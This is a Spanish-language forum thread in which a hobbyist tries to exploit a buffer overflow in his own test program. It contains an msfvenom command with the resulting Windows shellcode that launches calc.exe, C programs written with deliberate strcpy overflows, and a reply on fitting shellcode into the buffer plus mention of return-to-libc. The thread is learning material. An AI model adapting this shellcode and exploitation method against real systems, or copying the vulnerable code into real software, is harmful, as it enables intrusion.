Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: pepitopepote en 2 Noviembre 2017, 18:56 pm



Título: Intentando explotar buffer overflow
Publicado por: pepitopepote en 2 Noviembre 2017, 18:56 pm
Hola buenas, he creado este programa he conseguido ejecutar la funcion system("pause"); sobreescribiendo el return con el lugar donde se encuentra pasandosolo en ascii, ahora quisiera ejecutar un shellcode
he creado uno con msfvenom pero como hago para que se ejecute?

Código
  1. msfvenom -p windows/exec cmd=calc.exe -f c --smallest --platform windows--arch x86
  2. unsigned char buf[] =
  3. "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  4. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  5. "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
  6. "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
  7. "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
  8. "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
  9. "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
  10. "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
  11. "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
  12. "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
  13. "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
  14. "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
  15. "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
  16.  
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include<string.h>
  4.  
  5. int main()
  6. {
  7. FILE *archivo;
  8. char buf[20];
  9.  
  10. char caracteres[100];
  11.  
  12. archivo = fopen("A.txt","r");
  13.  
  14. if (archivo == NULL)
  15. exit(1);
  16. else
  17.        {
  18.    printf("\nEl contenido del archivo de prueba es \n\n");
  19.    while (feof(archivo) == 0)
  20.    {
  21. fgets(caracteres,100,archivo);
  22. printf("%s",caracteres);
  23.    }
  24.  
  25.        }
  26.        fclose(archivo);
  27.        system("PAUSE");
  28.            strcpy(buf,caracteres);//bof
  29. return 0;
  30. }
  31.  
  32. void f1(){
  33. system("calc.exe");//bof
  34. return;
  35. }


Título: Re: Intentando explotar buffer overflow
Publicado por: Liqu1d en 3 Noviembre 2017, 03:34 am
En éste caso no podes usar más de 99 caracteres, ya que si tenes un archivo con 110 caracteres por ejemplo, el while la primera vez agarra los primeros 100 bytes del archivo y la segunda pasada agarra los 10 bytes restantes, ahí termina de procesar al archivo y el strcpy copiaría esos ultimos 10 bytes al buffer con 20 bytes de espacio. En éste caso no se produciría un overflow. Pero si tu archivo tiene 99 caracteres, solamente entrás al while 1 vez y copias al buffer de 20 bytes, tus 99 bytes de caracteres, en éste caso se desbordaría. La shellcode que vos estás mostrando es de casi 200 bytes, por lo que sería imposible utilizarla en éste escenario. Probá con una shellcode más chica. O probá esa misma haciendo que lea de a más caracteres.

Saludos!


Título: Re: Intentando explotar buffer overflow
Publicado por: pepitopepote en 29 Noviembre 2017, 20:23 pm
No consegui ejecular el shellcode imagino por las protecciones aparte de los "\x00", pero si sacar una shell(return to libc) llamando a la funcion system() + exit()+ string pero si quisiera por ejemplo abrir la calculadora? he buscado un string calc.exe o calc  pero no la he encontrado.
Que mas podria hacer?
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. main (int argc, char **argv)
  4. {
  5. char vuln[12];
  6. char vul[]="AAAAAAAAAAAABBBBCCCCDDDDEEEE"
  7.  
  8. strcpy(vuln,vul);                // <- VULNERABLE FUNCTION
  9. printf ("%s\n",vuln);
  10. return 0;
  11. }
  12.  
  13.